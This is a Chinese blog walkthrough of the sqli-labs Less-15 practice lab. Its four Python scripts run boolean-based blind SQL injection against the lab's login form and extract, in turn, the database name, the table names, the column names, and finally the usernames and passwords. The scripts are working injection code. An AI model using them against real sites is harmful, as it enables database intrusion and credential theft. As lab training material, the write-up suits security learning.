SQL注入实例(sqli-labs/less-15)

0、初始页面

1、确定闭合符号

确定符号的闭合

2、爆库名

python脚本爆库名

def inject_database(url):
    name = ''
    for i in range(1,20):
        low = 32
        high = 128
        while low < high:
            mid = (low + high) // 2
            payload = "-1' or ascii(substr(database(),%d,1))>%d # " %(i,mid)
            data = {"uname":payload,"passwd":"aaa"}
            r = requests.post(url,data)
            if "flag.jpg" in r.text:
                low = mid+1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)


inject_database(url)

3、爆表名

使用python脚本

inject_database(url):
    name = ''
    for i in range(1,40):
        low = 32
        high = 128
        while low < high:
            mid = (low + high) // 2
            payload = "-1' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))>%d # " %(i,mid)
            data = {"uname":payload,"passwd":"aaa"}
            r = requests.post(url,data)
            if "flag.jpg" in r.text:
                low = mid+1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)


inject_database(url)

4、爆列名

使用python脚本

def inject_database(url):
    name = ''
    for i in range(1,40):
        low = 32
        high = 128
        while low < high:
            mid = (low + high) // 2
            payload = "-1' or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1))>%d # " %(i,mid)
            data = {"uname":payload,"passwd":"aaa"}
            r = requests.post(url,data)
            if "flag.jpg" in r.text:
                low = mid+1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)


inject_database(url)

5、查询最终目标

使用python脚本,查询后续的内容修改concat的范围就行

def inject_database(url):
    name = ''
    for i in range(1,20):
        low = 32
        high = 128
        while low < high:
            mid = (low + high) // 2
            payload = "-1' or ascii(substr(concat((select group_concat(username,0x3a,password) from users),1,20),%d,1))>%d # " %(i,mid)
            data = {"uname":payload,"passwd":"aaa"}
            r = requests.post(url,data)
            if "flag.jpg" in r.text:
                low = mid+1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)


inject_database(url)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

魏大橙

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值